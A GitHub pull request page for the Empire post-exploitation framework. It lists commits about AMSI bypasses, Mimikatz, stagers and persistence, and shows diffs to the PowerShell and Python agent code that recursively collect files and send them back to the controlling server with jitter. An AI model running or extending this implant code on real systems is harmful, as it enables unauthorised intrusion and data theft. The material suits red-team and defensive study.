Skip to content
This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

Dev3 #1272

Open
wants to merge 252 commits into
base: master
Choose a base branch
from
Open

Dev3 #1272

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
252 commits
Select commit Hold shift + click to select a range
b7d9b23
Merge branch 'master' of github.com:EmpireProject/Empire
invalid-email-address Oct 12, 2017
afe05b9
Update http.py
ceramicskate0 Mar 10, 2018
bf5f903
Update helpers.py
ceramicskate0 Mar 10, 2018
044c94b
Update helpers.py
ceramicskate0 Mar 12, 2018
9f79c72
Added module Get-KerberosServiceTicket
OneLogicalMyth Mar 14, 2018
9023ec2
minor bug fix missing a comma
OneLogicalMyth Mar 14, 2018
378a00d
added Out-String
OneLogicalMyth Mar 15, 2018
622b57b
Merge remote-tracking branch 'upstream/master'
OneLogicalMyth Mar 16, 2018
d8236ad
Event type fix for SadProcessor
mr64bit Mar 16, 2018
06ef000
Adds script and params for failed logon triggering
jbooz1 Mar 17, 2018
c04655d
Update install.sh
SadProcessor Mar 19, 2018
ed81d5d
Update install.sh
SadProcessor Mar 19, 2018
53cdd71
Fix exception when disabling a listener
mr64bit Mar 19, 2018
b966827
Fix agent downloads
mr64bit Mar 19, 2018
3b10844
Lower verbosity when agents check in
mr64bit Mar 19, 2018
df93581
update version
xorrior Mar 19, 2018
908190a
Merge branch 'mr64bit-2.5-fixes' into dev
xorrior Mar 19, 2018
480d60b
Merge pull request #1032 from SadProcessor/SadProcessor-Install_Kali
xorrior Mar 19, 2018
b1db58c
Update helpers.py
ceramicskate0 Mar 20, 2018
adb0265
Update http_com.py
ceramicskate0 Mar 20, 2018
67b1ef7
Update http_com.py
ceramicskate0 Mar 20, 2018
5f4afe8
Fix stager string with escaped characters
mr64bit Mar 21, 2018
338e00d
Merge remote-tracking branch 'upstream/master'
Mar 21, 2018
ee16f04
Create get_subnet_ranges.py
benichmt1 Mar 21, 2018
847bfcf
Typo
benichmt1 Mar 21, 2018
c41a6c0
another typo -_-
benichmt1 Mar 21, 2018
e2c7409
minuscule change in bypassing amsi, which at time of writing does not…
Mar 22, 2018
79a6d0f
Merge branch 'master' of https://github.com/OneLogicalMyth/Empire int…
xorrior Mar 22, 2018
2c7e8cf
Merge branch 'OneLogicalMyth-master' into dev
xorrior Mar 22, 2018
5659be6
Fix for #1030
xorrior Mar 22, 2018
4f46bcc
Create Get-WinUpdates.ps1
classity Mar 22, 2018
e1d6cd8
Update Get-WinUpdates.ps1
classity Mar 23, 2018
e1c0476
Create get-winupdates.py
classity Mar 23, 2018
32a4d60
Fix for #1033
PierrickV Mar 23, 2018
666a0c0
Update http.py
infosecn1nja Mar 26, 2018
da5a3ec
Update http_com.py
infosecn1nja Mar 26, 2018
a8b60d5
Update http_mapi.py
infosecn1nja Mar 26, 2018
1a058dc
added random vari method
ceramicskate0 Mar 27, 2018
f021103
Add files via upload
ceramicskate0 Mar 27, 2018
3a2a37f
Add files via upload
ceramicskate0 Mar 27, 2018
0258249
Add files via upload
ceramicskate0 Mar 27, 2018
5e2fa0d
Add files via upload
ceramicskate0 Mar 27, 2018
a5c5962
Add files via upload
ceramicskate0 Mar 27, 2018
122a1ff
Add files via upload
ceramicskate0 Mar 27, 2018
e4d6cee
Add files via upload
ceramicskate0 Mar 27, 2018
0ebef75
Merge branch 'dev' into master
ceramicskate0 Mar 27, 2018
342b9ef
Adds if statement for KnockKnock persistence
jbooz1 Mar 29, 2018
06423ba
Merge pull request #1 from jbooz1/knockknock
jbooz1 Mar 29, 2018
66bc7fd
Update helpers.py
ceramicskate0 Mar 29, 2018
0197ad2
Update http.py
ceramicskate0 Mar 29, 2018
25007de
Update http.py
ceramicskate0 Mar 29, 2018
5ab3e11
Update helpers.py
ceramicskate0 Mar 29, 2018
3231122
Delete dbx.pyc
ceramicskate0 Mar 29, 2018
a59c133
Delete http.pyc
ceramicskate0 Mar 29, 2018
3c1a18a
Delete http_com.pyc
ceramicskate0 Mar 29, 2018
fb2e396
Delete http_foreign.pyc
ceramicskate0 Mar 29, 2018
779fd73
Delete http_hop.pyc
ceramicskate0 Mar 29, 2018
81913f3
Delete http_mapi.pyc
ceramicskate0 Mar 29, 2018
e4506c5
Delete meterpreter.pyc
ceramicskate0 Mar 29, 2018
1be4d61
Delete redirector.pyc
ceramicskate0 Mar 29, 2018
d18366d
Create fetch_brute_local.py
classity Mar 30, 2018
4e34318
Create Fetch-And-Brute-Local-Accounts.ps1
classity Mar 30, 2018
8db0033
Consider the user's choice when killing individual agents
gparent Apr 4, 2018
1df0431
Added lower privilege osx launch agent persistence
Apr 6, 2018
0453c49
Fixes #1053 - Syntax error in http_hop launcher
johneiser Apr 6, 2018
6512944
Create dde.py
infosecn1nja Apr 8, 2018
2eaaacd
Added python-dev package to Dockerfile
xorrior Apr 8, 2018
f027964
Merge branch 'PierrickV-dev' into dev
xorrior Apr 8, 2018
1a1965c
Merge pull request #1062 from johneiser/dev-HopFix
xorrior Apr 8, 2018
267b5d3
Merge branch 'dev' of https://github.com/infosecn1nja/Empire into inf…
xorrior Apr 8, 2018
2415323
Removed dde.py. Changed 'GET request' event message format to print=f…
xorrior Apr 8, 2018
c749188
Merge branch 'infosecn1nja-dev' into dev
xorrior Apr 8, 2018
79ae0f4
Fix for #1059. Fixed launcher string, which caused macho to crash. Re…
xorrior Apr 8, 2018
c9e2410
FIX: decode session_key from database correctly when calling API func…
Apr 9, 2018
98d4542
Added Custom Cookie Name
infosecn1nja Apr 10, 2018
5741b59
FIX: Added '-f' flag to ln command in Dockerfile
Apr 10, 2018
1d511a5
Finish effort to use complete python path
Apr 11, 2018
c0a469c
Auto_Open does not work in Word, only Excel. AutoOpen does.
leesoh Apr 11, 2018
8ee1e66
Removed unnecessary call to launchctl
johneiser Apr 11, 2018
048b1c1
More informative PS agent directory listing
etn-security Apr 12, 2018
6270350
agent download command can accept directory as a parametr
etn-security Apr 12, 2018
61f74fe
formating fix
etn-security Apr 12, 2018
4207760
Fix for ln: python : file exists
PierrickV Apr 16, 2018
5525057
Merge pull request #1040 from mr64bit/onedrive-amsi-fix
xorrior Apr 17, 2018
55f5e40
Added windows/wmic stager SquiblyTwo
infosecn1nja Apr 20, 2018
3381d39
Update Comments
infosecn1nja Apr 20, 2018
02ecece
Update helpers.py
ceramicskate0 Apr 20, 2018
76e6fac
Update helpers.py
ceramicskate0 Apr 20, 2018
67694da
Update helpers.py
ceramicskate0 Apr 20, 2018
f4368cc
Update helpers.py
ceramicskate0 Apr 20, 2018
76b84ee
Update helpers.py
ceramicskate0 Apr 20, 2018
4745586
Update helpers.py
ceramicskate0 Apr 20, 2018
a9661f6
hotfix for encoding problem - issue #542
etn-security Apr 20, 2018
cfadb40
Update OutFile Description
infosecn1nja Apr 21, 2018
ec331f0
Update helpers.py
ceramicskate0 Apr 21, 2018
b8a9530
Update helpers.py
ceramicskate0 Apr 21, 2018
cb54ad6
Merge pull request #1041 from hhofs/amsidetectionfix-stagers
xorrior Apr 21, 2018
119aa87
Fixed conflict
xorrior Apr 21, 2018
5beafdd
Merge branch 'classity-master' into dev
xorrior Apr 21, 2018
12b45c5
Merge branch 'master' of https://github.com/ceramicskate0/Empire into…
xorrior Apr 21, 2018
2f27561
Removed extra parenthesis in http_com.py line 270
xorrior Apr 21, 2018
e08533d
Merge branch 'ceramicskate0-master' into dev
xorrior Apr 21, 2018
b30f061
Merge branch 'prompt-fix' of https://github.com/gparent/Empire into g…
xorrior Apr 21, 2018
cafc2e0
Merge branch 'gparent-prompt-fix' into dev
xorrior Apr 21, 2018
d040e2e
Resolved conflict
xorrior Apr 21, 2018
c002224
Merge branch 'johneiser-dev-LaunchAgent' into dev
xorrior Apr 21, 2018
28e26df
Fix Docker
Apr 9, 2018
4bc7806
Merge pull request #1069 from johneiser/dev-PythonPathFix
xorrior Apr 21, 2018
99d3eea
Fixed conflict
xorrior Apr 22, 2018
eb43e5c
Merge branch 'm57-dev' into dev
xorrior Apr 22, 2018
81c1bee
FIxing routing packet error & spawn error
infosecn1nja Apr 22, 2018
57ecf88
Update http.py
infosecn1nja Apr 22, 2018
d5374aa
Fix empty cookie if create multiple listeners
infosecn1nja Apr 22, 2018
f5d2b20
Removed Debug Print Cookie
infosecn1nja Apr 22, 2018
a9437ef
Fixed conflict
xorrior Apr 22, 2018
a93e382
Fix conflict
xorrior Apr 22, 2018
54ca571
Merge branch 'infosecn1nja-patch-3' into dev
xorrior Apr 22, 2018
f9b221d
Fix Cookie Empty on Agents
infosecn1nja Apr 22, 2018
157aef6
Added Function get_listener_cookies
infosecn1nja Apr 22, 2018
a2dbb4e
Merge pull request #1070 from leesoh/fix-multi-macro
xorrior Apr 22, 2018
f3a057a
Merge pull request #1071 from winnie22/psagent_dirinfo
xorrior Apr 22, 2018
05b701c
Merge pull request #1079 from PierrickV/patch-1
xorrior Apr 22, 2018
34be6da
Merge pull request #1083 from winnie22/global_encoding
xorrior Apr 22, 2018
4cd1b07
Update helpers.py
ceramicskate0 Apr 23, 2018
e084a20
Update http.py
ceramicskate0 Apr 23, 2018
f6f9350
Update http_com.py
ceramicskate0 Apr 23, 2018
1a883c2
Update http.py
ceramicskate0 Apr 23, 2018
713efde
Update http_foreign.py
ceramicskate0 Apr 23, 2018
487d23d
Update http_hop.py
ceramicskate0 Apr 23, 2018
5631928
Update redirector.py
ceramicskate0 Apr 23, 2018
9f3fffa
Update http.py
infosecn1nja Apr 23, 2018
40ea5c9
Remove Comment
infosecn1nja Apr 23, 2018
eb50027
Update helpers.py
ceramicskate0 Apr 23, 2018
0e4a94d
Update helpers.py
ceramicskate0 Apr 23, 2018
add3056
fix in file path creating
etn-security Apr 24, 2018
12bb5a6
unicode packet length bugfix
etn-security Apr 25, 2018
233bf96
bracket fix
etn-security Apr 25, 2018
8d4096f
PS agent command switch fix
etn-security Apr 26, 2018
38df7a8
preserve #1071
etn-security Apr 26, 2018
f25aab6
csharp_exe ignore exceptions caused by obfuscation
fsacer May 1, 2018
8d32e7e
Merge branch 'directory_download' of https://github.com/winnie22/Empi…
xorrior May 2, 2018
38a8bd8
Merge branch 'winnie22-directory_download' into dev
xorrior May 2, 2018
aa0e415
Move error checking for CertPath
leesoh May 2, 2018
4c4b7c6
Added IPs flag, changed output
benichmt1 May 2, 2018
66d6b74
Merge branch 'master' of https://github.com/jbooz1/Empire into jbooz1…
xorrior May 4, 2018
3c90d61
Set the Listener option to required : True
xorrior May 4, 2018
1d91bb0
Merge branch 'jbooz1-master' into dev
xorrior May 4, 2018
0a532e4
Merge pull request #1082 from infosecn1nja/patch-4
xorrior May 4, 2018
5001f99
Add escapes for % characters needed for .bat files
May 4, 2018
78bf48d
Fix spawn error
infosecn1nja May 4, 2018
d50a4e4
Update http.py
infosecn1nja May 4, 2018
6982f2b
Merge pull request #1093 from winnie22/bugfix_utf8_packet_length
xorrior May 5, 2018
8f30125
Added osx shellcode stager
johneiser May 6, 2018
c9371b5
Fixed up osx shellcode
johneiser May 6, 2018
9732fe7
Fix python safe-check from spawning zombie process
May 6, 2018
f6117a1
Fix string format in packet length check
xorrior May 6, 2018
e54400e
Fix conflicts
xorrior May 6, 2018
971affe
Merge branch 'ceramicskate0-master' into dev
xorrior May 6, 2018
35737d4
Merge branch 'patch-1' of https://github.com/fsacer/Empire into fsace…
xorrior May 6, 2018
f41ffbe
Merge branch 'fsacer-patch-1' into dev
xorrior May 6, 2018
31ea7be
Merge pull request #1102 from leesoh/certpath-check
xorrior May 6, 2018
94a4c7d
Merge pull request #1103 from benichmt1/subnet_ranges
xorrior May 6, 2018
9689c71
Fix conflicts
xorrior May 6, 2018
505a897
Merge branch 'kmackinley-kmackinley-empire-dev' into dev
xorrior May 6, 2018
142e9b2
Merge branch 'dev' of https://github.com/EmpireProject/Empire into dev
xorrior May 6, 2018
64d9ca4
Update http.py
infosecn1nja May 7, 2018
2e58e25
Update http.py
infosecn1nja May 7, 2018
992c88f
Merge branch 'dev' into dev
infosecn1nja May 7, 2018
a18aaf6
Fix Agent Cookie
infosecn1nja May 7, 2018
bf8eca9
Update helpers.py
ceramicskate0 May 8, 2018
9cab85f
Implement certpath fix for http_com
leesoh May 11, 2018
94fab9b
Implement certpath fix for http_mapi
leesoh May 11, 2018
2d89fb7
Minor edits
leesoh May 11, 2018
7161e07
Get-GPPPassword: Support for Scheduledtasks TaskV2
swarleysez May 13, 2018
b34b7a3
PowerUp: Support for Scheduledtasks TaskV2
swarleysez May 13, 2018
b7407c0
utf8 encoding fix for agent initial phase
etn-security May 14, 2018
21f7b47
Add missing info that was causing searchmodule to break
leesoh May 14, 2018
1ccb516
Merge pull request #1125 from leesoh/fix-generate-agent
xorrior May 15, 2018
8a52c0c
Merge pull request #1108 from johneiser/dev-OsxShellcode
xorrior May 15, 2018
2c41d66
Merge pull request #1109 from johneiser/dev-SafeCheckFix
xorrior May 15, 2018
ce88725
Merge pull request #1112 from ceramicskate0/patch-2
xorrior May 15, 2018
f4a27db
Merge pull request #1116 from leesoh/more-cert-path
xorrior May 15, 2018
71a22a3
Remove changes to ls command. Get-Acl was introduced in PS v3. We lik…
xorrior May 15, 2018
d49da97
Merge branch 'winnie22-utf8_ps_agent_init' into dev
xorrior May 15, 2018
39c556d
Merge branch 'dev' of https://github.com/EmpireProject/Empire into dev
xorrior May 15, 2018
d2dc89d
Remove default port for http listeners
leesoh May 15, 2018
9bd923c
Remove port from default Host configuration
leesoh May 15, 2018
2b4a417
And we'll do http_com as well
leesoh May 15, 2018
f9ae5f7
Remove default port from meterpreter and template
leesoh May 15, 2018
8eb56b2
Initial commit
leesoh May 15, 2018
7c88ea0
Add Get-ApplockerConfig
matterpreter May 16, 2018
dacb913
Fix macho generation logic
xorrior May 16, 2018
09a8c11
Updated SOCKS proxy for Python agent
May 16, 2018
4868a92
Fixed exceptions and suppressed extraneous output in agents.py and ht…
May 16, 2018
605239e
Moved PS code into main module instead of calling it in
matterpreter May 16, 2018
21ea9db
Agents display improvements
xorrior May 16, 2018
5ecad23
Added listener to agent list view
tjflaagan May 17, 2018
7f1169a
Fix minor typo
ngkogkos May 19, 2018
5f62dde
Change Write-Host to Write-Output
matterpreter May 24, 2018
ec88606
Fix Invoke-PSInject and Invoke-ReflectivePEInjection for Win10 1803
mr64bit May 27, 2018
9cdbf15
Merge pull request #1085 from infosecn1nja/dev
xorrior May 28, 2018
3fdc129
Merge pull request #1120 from swarleysez/swarleysez-patch-1
xorrior May 28, 2018
5ca2947
Merge pull request #1129 from leesoh/invoke-phant0m
xorrior May 28, 2018
51fc822
Update all uses of GetMethod for GetProcAddress
mr64bit May 30, 2018
516a7d8
Merge pull request #1146 from mr64bit/psinject-fix
mr64bit Jun 1, 2018
23a3fba
Merge pull request #1128 from leesoh/remove-http-defaults
xorrior Jun 5, 2018
834fc9e
Merge pull request #1135 from matterpreter/master
xorrior Jun 6, 2018
2ca534c
Revert "Fixed cookie name empty on agents and added function get_list…
xorrior Jun 6, 2018
8b2184f
Merge pull request #1159 from EmpireProject/revert-1085-dev
xorrior Jun 6, 2018
453f371
Merge branch 'dev' of https://github.com/tjflaagan/Empire into tjflaa…
xorrior Jun 6, 2018
a145454
Merge branch 'tjflaagan-dev' into dev
xorrior Jun 6, 2018
4d67258
Merge pull request #1139 from ngkogkos/patch-1
xorrior Jun 7, 2018
60b2f85
Merge pull request #1133 from klustic/dev
xorrior Jun 9, 2018
dbb9f5e
Fix random variable names making stager code too long for PSInject
mr64bit Jun 9, 2018
78f9e91
fix for #1164
etn-security Jun 14, 2018
b3b9a05
Properly return error information from Powershell agent jobs
mr64bit Jun 24, 2018
e3a4cc2
Merge branch 'dev' of github.com:EmpireProject/Empire into dev
mr64bit Oct 12, 2018
12d08ef
Allow multi word arguments
wh1tenoise Sep 21, 2018
a22951a
Added powershell/collection/toasted module
quickbreach Oct 23, 2018
8b4fc99
Added powershell/collection/toasted module
quickbreach Oct 23, 2018
88be081
Updated install.sh to work with Kali 2018.4
Nov 2, 2018
ce78744
Remove whitespace from line ends
mr64bit Nov 21, 2018
10cde40
Move apt-get update commands in setup script back
mr64bit Nov 27, 2018
85a6ec6
Restrict urllib3 version to <1.23
mr64bit Nov 28, 2018
b8c0f5b
HostRecon.py
RootUp Nov 22, 2018
2f4e546
HostRecon.ps1
RootUp Nov 22, 2018
566008e
Move module to correct directory, conform to module naming scheme
mr64bit Dec 1, 2018
a36e4a1
Add client secret parameter to Onedrive listener
mr64bit Dec 1, 2018
60f04b9
Fix client_secret params for Onedrive listener
mr64bit Dec 17, 2018
1bd38e9
Update .gitignore
phra Dec 30, 2018
b12595e
added OutputFormat parameter to Invoke-Kerberoast
Jan 14, 2019
ab64ff9
Update Dockerfile
Jan 15, 2019
5d4584c
Merge branch 'L3vi47h4N-Dockerfile' into dev
mr64bit Jan 19, 2019
699909b
Update redirector.py
rasta-mouse Jan 6, 2019
2b42db6
Add more explicit error for starting redirector on non-elevated agent
mr64bit Jan 20, 2019
aa2ffff
Merge branch 'redirector-elevate-check' into dev
mr64bit Jan 20, 2019
6b86fbd
feat: make bypasses configurable, fixes #1288
phra Dec 30, 2018
2e277b1
feat: add rastamouse AMSI bypass, fixes #1290
phra Jan 2, 2019
622fdc9
Ubuntu install: select the powershell package source by stored releas…
UlrichBerntien Jan 31, 2019
be75570
Change install script to use libSSL1.1 when available
mr64bit Feb 5, 2019
637c60b
Powershell still needs libicu57, upgrade xar for libssl1.1
mr64bit Feb 6, 2019
291bd66
Merge pull request #1319 from UlrichBerntien/install-ubuntu-18
mr64bit Feb 6, 2019
3af8284
Merge pull request #1304 from Zer1t0/dev
mr64bit Feb 6, 2019
029f51c
Fix bypass changes
mr64bit Feb 6, 2019
da5fc61
Merge branch 'phra-configurable-bypasses' into dev
mr64bit Feb 6, 2019
1dd70a9
Merge pull request #1258 from quickbreach/dev
mr64bit Feb 7, 2019
eaba0c9
Keep user agent from being obfuscated, fixes #1308
mr64bit Feb 8, 2019
ca41a31
Merge branch 'dev' of github.com:EmpireProject/Empire into dev
mr64bit Feb 8, 2019
6a70e59
Update Invoke-Obfuscation to 1.8 (6a6b0fc)
mr64bit Feb 15, 2019
7efb7ee
Update Invoke-Mimikatz to 2.1.1 20191209
mr64bit Feb 23, 2019
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ LastTask*
data/obfuscated_module_source/*.ps1
data/misc/ToObfuscate.ps1
data/misc/Obfuscated.ps1
setup/xar/
setup/xar*/
setup/bomutils/
.venv
.DS_Store
6 changes: 3 additions & 3 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
# NOTE: Only use this when you want to build image locally
# else use `docker pull empireproject\empire:{VERSION}`
# else use `docker pull empireproject/empire:{VERSION}`
# all image versions can be found at: https://hub.docker.com/r/empireproject/empire/

# -----BUILD COMMANDS----
Expand Down Expand Up @@ -45,8 +45,8 @@ RUN apt-get update && apt-get install -qy \
apt-utils \
lsb-core \
python2.7 \
python-dev \
&& ln -sf /usr/bin/python2.7 /usr/bin/python \
python-dev \
&& ln -sf /usr/bin/python2.7 /usr/bin/python \
&& rm -rf /var/lib/apt/lists/*

# build empire from source
Expand Down
8 changes: 4 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,12 +1,12 @@
# Empire

Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent. It is the merge of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and a flexible architecture. On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. PowerShell Empire premiered at [BSidesLV in 2015](https://www.youtube.com/watch?v=Pq9t59w0mUI) and Python EmPyre premeiered at HackMiami 2016.
Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent. It is the merge of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and a flexible architecture. On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. PowerShell Empire premiered at [BSidesLV in 2015](https://www.youtube.com/watch?v=Pq9t59w0mUI) and Python EmPyre premiered at HackMiami 2016.

Empire relies heavily on the work from several other projects for its underlying functionality. We have tried to call out a few of those people we've interacted with [heavily here](http://www.powershellempire.com/?page_id=2) and have included author/reference link information in the source of each Empire module as appropriate. If we have failed to improperly cite existing or prior work, please let us know.

Empire is developed by [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https://twitter.com/sixdub), [@enigma0x3](https://twitter.com/enigma0x3), [rvrsh3ll](https://twitter.com/424f424f), [@killswitch_gui](https://twitter.com/killswitch_gui), and [@xorrior](https://twitter.com/xorrior).
Empire is developed by [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https://twitter.com/sixdub), [@enigma0x3](https://twitter.com/enigma0x3), [@rvrsh3ll](https://twitter.com/424f424f), [@killswitch_gui](https://twitter.com/killswitch_gui), and [@xorrior](https://twitter.com/xorrior).

Feel free to join us on Slack! http://adaptiveempire.slack.com/
Feel free to join us in the #psempire channel of the [BloodHound Slack](http://bloodhoundgang.herokuapp.com/)!

## Install

Expand All @@ -28,6 +28,6 @@ Contributions are more than welcome! The more people who contribute to the proje
* Cite previous work in the **'Comments'** module section.
* If your script.ps1 logic is large, may be reused by multiple modules, or is updated often, consider implementing the logic in the appropriate **data/module_source/*** directory and [pulling the script contents into the module on tasking](https://github.com/PowerShellEmpire/Empire/blob/0cbdb165a29e4a65ad8dddf03f6f0e36c33a7350/lib/modules/situational_awareness/network/powerview/get_user.py#L85-L95).
* Use [approved PowerShell verbs](https://technet.microsoft.com/en-us/library/ms714428(v=vs.85).aspx) for any functions.
* PowerShell Version 2 compatibility is **STRONGLY** preferred.
* PowerShell Version 2 compatibility is **STRONGLY** preferred.
* TEST YOUR MODULE! Be sure to run it from an Empire agent before submitting a pull to ensure everything is working correctly.
* For additional guidelines for your PowerShell code itself, check out the [PowerSploit style guide](https://github.com/PowerShellMafia/PowerSploit/blob/master/README.md).
70 changes: 38 additions & 32 deletions data/agent/agent.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -279,20 +279,20 @@ function Invoke-Empire {
}
else {
switch -regex ($cmd) {
'(ls|dir)' {
'(ls|^dir)' {
if ($cmdargs.length -eq "") {
$output = Get-ChildItem -force | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name
$output = Get-ChildItem -force | select mode,@{Name="Owner";Expression={(Get-Acl $_.FullName).Owner }},lastwritetime,length,name
}
else {
try{
$output = IEX "$cmd $cmdargs -Force -ErrorAction Stop | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name"
$output = IEX "$cmd $cmdargs -Force -ErrorAction Stop" | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name
}
catch [System.Management.Automation.ActionPreferenceStopException] {
$output = "[!] Error: $_ (or cannot be accessed)."
}
}
}
'(mv|move|copy|cp|rm|del|rmdir)' {
'(mv|move|copy|cp|rm|del|rmdir|mkdir)' {
if ($cmdargs.length -ne "") {
try {
IEX "$cmd $cmdargs -Force -ErrorAction Stop"
Expand Down Expand Up @@ -441,6 +441,8 @@ function Invoke-Empire {
param($JobName)
if($Script:Jobs.ContainsKey($JobName)) {
$Script:Jobs[$JobName]['Buffer'].ReadAll()
$Script:Jobs[$JobName]['PSHost'].Streams.Error
$Script:Jobs[$JobName]['PSHost'].Streams.Error.Clear()
}
}

Expand All @@ -453,6 +455,8 @@ function Invoke-Empire {
$Null = $Script:Jobs[$JobName]['PSHost'].Stop()
# get results
$Script:Jobs[$JobName]['Buffer'].ReadAll()
$Script:Jobs[$JobName]['PSHost'].Streams.Error
$Script:Jobs[$JobName]['PSHost'].Streams.Error.Clear()
# unload the app domain runner
$Null = [AppDomain]::Unload($Script:Jobs[$JobName]['AppDomain'])
$Script:Jobs.Remove($JobName)
Expand Down Expand Up @@ -840,37 +844,39 @@ function Invoke-Empire {
$ChunkSize = 1024KB
}

# resolve the complete path
$Path = Get-Childitem $Path | ForEach-Object {$_.FullName}

# read in and send the specified chunk size back for as long as the file has more parts
$Index = 0
do{
$EncodedPart = Get-FilePart -File "$path" -Index $Index -ChunkSize $ChunkSize

if($EncodedPart) {
$data = "{0}|{1}|{2}" -f $Index, $path, $EncodedPart
(& $SendMessage -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID))
$Index += 1

# if there are more parts of the file, sleep for the specified interval
if ($script:AgentDelay -ne 0) {
$min = [int]((1-$script:AgentJitter)*$script:AgentDelay)
$max = [int]((1+$script:AgentJitter)*$script:AgentDelay)

if ($min -eq $max) {
$sleepTime = $min
# resolve the complete paths
$Path = Get-Childitem -Recurse $Path -File | ForEach-Object {$_.FullName}

foreach ( $File in $Path) {
# read in and send the specified chunk size back for as long as the file has more parts
$Index = 0
do{
$EncodedPart = Get-FilePart -File "$file" -Index $Index -ChunkSize $ChunkSize

if($EncodedPart) {
$data = "{0}|{1}|{2}" -f $Index, $file, $EncodedPart
(& $SendMessage -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID))
$Index += 1

# if there are more parts of the file, sleep for the specified interval
if ($script:AgentDelay -ne 0) {
$min = [int]((1-$script:AgentJitter)*$script:AgentDelay)
$max = [int]((1+$script:AgentJitter)*$script:AgentDelay)

if ($min -eq $max) {
$sleepTime = $min
}
else{
$sleepTime = Get-Random -minimum $min -maximum $max;
}
Start-Sleep -s $sleepTime;
}
else{
$sleepTime = Get-Random -minimum $min -maximum $max;
}
Start-Sleep -s $sleepTime;
}
}
[GC]::Collect()
} while($EncodedPart)
[GC]::Collect()
} while($EncodedPart)

Encode-Packet -type 40 -data "[*] File download of $path completed" -ResultID $ResultID
Encode-Packet -type 40 -data "[*] File download of $file completed" -ResultID $ResultID
}
}
catch {
Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID
Expand Down
78 changes: 45 additions & 33 deletions data/agent/agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -280,41 +280,53 @@ def process_packet(packetType, data, resultID):

elif packetType == 41:
# file download
filePath = os.path.abspath(data)
if not os.path.exists(filePath):
objPath = os.path.abspath(data)
fileList = []
if not os.path.exists(objPath):
return build_response_packet(40, "file does not exist or cannot be accessed", resultID)

offset = 0
size = os.path.getsize(filePath)
partIndex = 0

while True:

# get 512kb of the given file starting at the specified offset
encodedPart = get_file_part(filePath, offset=offset, base64=False)
c = compress()
start_crc32 = c.crc32_data(encodedPart)
comp_data = c.comp_data(encodedPart)
encodedPart = c.build_header(comp_data, start_crc32)
encodedPart = base64.b64encode(encodedPart)

partData = "%s|%s|%s" %(partIndex, filePath, encodedPart)
if not encodedPart or encodedPart == '' or len(encodedPart) == 16:
break

send_message(build_response_packet(41, partData, resultID))

global delay
global jitter
if jitter < 0: jitter = -jitter
if jitter > 1: jitter = 1/jitter

minSleep = int((1.0-jitter)*delay)
maxSleep = int((1.0+jitter)*delay)
sleepTime = random.randint(minSleep, maxSleep)
time.sleep(sleepTime)
partIndex += 1
offset += 512000
if not os.path.isdir(objPath):
fileList.append(objPath)
else:
# recursive dir listing
for folder, subs, files in os.walk(objPath):
for filename in files:
#dont care about symlinks
if os.path.exists(objPath):
fileList.append(objPath + "/" + filename)

for filePath in fileList:
offset = 0
size = os.path.getsize(filePath)
partIndex = 0

while True:

# get 512kb of the given file starting at the specified offset
encodedPart = get_file_part(filePath, offset=offset, base64=False)
c = compress()
start_crc32 = c.crc32_data(encodedPart)
comp_data = c.comp_data(encodedPart)
encodedPart = c.build_header(comp_data, start_crc32)
encodedPart = base64.b64encode(encodedPart)

partData = "%s|%s|%s" %(partIndex, filePath, encodedPart)
if not encodedPart or encodedPart == '' or len(encodedPart) == 16:
break

send_message(build_response_packet(41, partData, resultID))

global delay
global jitter
if jitter < 0: jitter = -jitter
if jitter > 1: jitter = 1/jitter

minSleep = int((1.0-jitter)*delay)
maxSleep = int((1.0+jitter)*delay)
sleepTime = random.randint(minSleep, maxSleep)
time.sleep(sleepTime)
partIndex += 1
offset += 512000

elif packetType == 42:
# file upload
Expand Down
5 changes: 2 additions & 3 deletions data/agent/stagers/common/get_sysinfo.py
Original file line number Diff line number Diff line change
Expand Up @@ -53,10 +53,9 @@ def get_sysinfo(nonce='00000000'):

language = 'python'
cmd = 'ps %s' % (os.getpid())
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
out = ps.stdout.read()
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = ps.communicate()
parts = out.split("\n")
ps.stdout.close()
if len(parts) > 2:
processName = " ".join(parts[1].split()[4:])
else:
Expand Down
2 changes: 1 addition & 1 deletion data/agent/stagers/dropbox.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -52,7 +52,7 @@ function Start-Negotiate {

# try to ignore all errors
$ErrorActionPreference = "SilentlyContinue";
$e=[System.Text.Encoding]::ASCII;
$e=[System.Text.Encoding]::UTF8;

$SKB=$e.GetBytes($SK);
# set up the AES/HMAC crypto
Expand Down
4 changes: 2 additions & 2 deletions data/agent/stagers/http.ps1
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
function Start-Negotiate {
